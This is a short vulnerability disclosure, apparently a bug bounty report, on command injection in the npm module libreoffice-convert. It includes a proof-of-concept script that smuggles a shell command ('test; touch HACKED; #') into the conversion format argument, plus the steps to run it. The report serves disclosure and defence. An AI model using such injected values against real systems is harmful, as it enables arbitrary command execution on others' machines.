Code Injection in elwerene/libreoffice-convert


Reported on

Apr 14th 2020


The libreoffice-convert module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
const libre = require('libreoffice-convert');
libre.convert('', 'test; touch HACKED; #', undefined, (err, done) => {
    if (err) {
      console.log(`Error converting file: ${err}`);

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
sudo apt install libreoffice # You need to install libreoffice
# Or instead, simply create a file placed in the libreoffice dir with the same name, in order to avoid to install the whole software: * echo "test" >  /usr/bin/libreoffice*
npm i libreoffice-convert # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created


to join this conversation